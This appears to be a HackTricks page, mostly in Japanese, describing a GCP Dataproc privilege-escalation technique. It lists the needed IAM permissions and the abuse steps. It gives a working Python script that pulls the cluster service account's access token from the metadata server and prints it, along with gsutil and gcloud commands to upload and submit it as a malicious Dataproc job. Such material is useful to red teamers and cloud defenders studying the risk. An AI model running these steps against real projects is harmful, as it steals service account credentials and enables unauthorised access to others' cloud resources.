GCP Dataproc Privilege Escalation

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

Dataproc

GCP - Dataproc Enum

dataproc.clusters.get, dataproc.clusters.use, dataproc.jobs.create, dataproc.jobs.get, dataproc.jobs.list, storage.objects.create, storage.objects.get

この方法ではreverse shellを取得できませんでしたが、以下に示す方法を使ってmetadata endpointからSA tokenをleakすることは可能です。

悪用手順

  • ジョブスクリプトをGCP Bucketに配置する

  • Dataprocクラスタにジョブを送信する

  • ジョブを使ってmetadata serverにアクセスする

  • クラスタで使用されるservice account tokenをleakする

metadata serverからSA tokenを取得するPythonスクリプト ```python import requests

metadata_url = “http://metadata/computeMetadata/v1/instance/service-accounts/default/token” headers = {“Metadata-Flavor”: “Google”}

def fetch_metadata_token(): try: response = requests.get(metadata_url, headers=headers, timeout=5) response.raise_for_status() token = response.json().get(“access_token”, “”) print(f“Leaked Token: {token}“) return token except Exception as e: print(f“Error fetching metadata token: {e}”) return None

if name == “main”: fetch_metadata_token()

</details>

<details><summary>Dataproc cluster に悪意のあるジョブを送信する</summary>
```bash
# Copy the script to the storage bucket
gsutil cp <python-script> gs://<bucket-name>/<python-script>

# Submit the malicious job
gcloud dataproc jobs submit pyspark gs://<bucket-name>/<python-script> \
--cluster=<cluster-name> \
--region=<region>

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする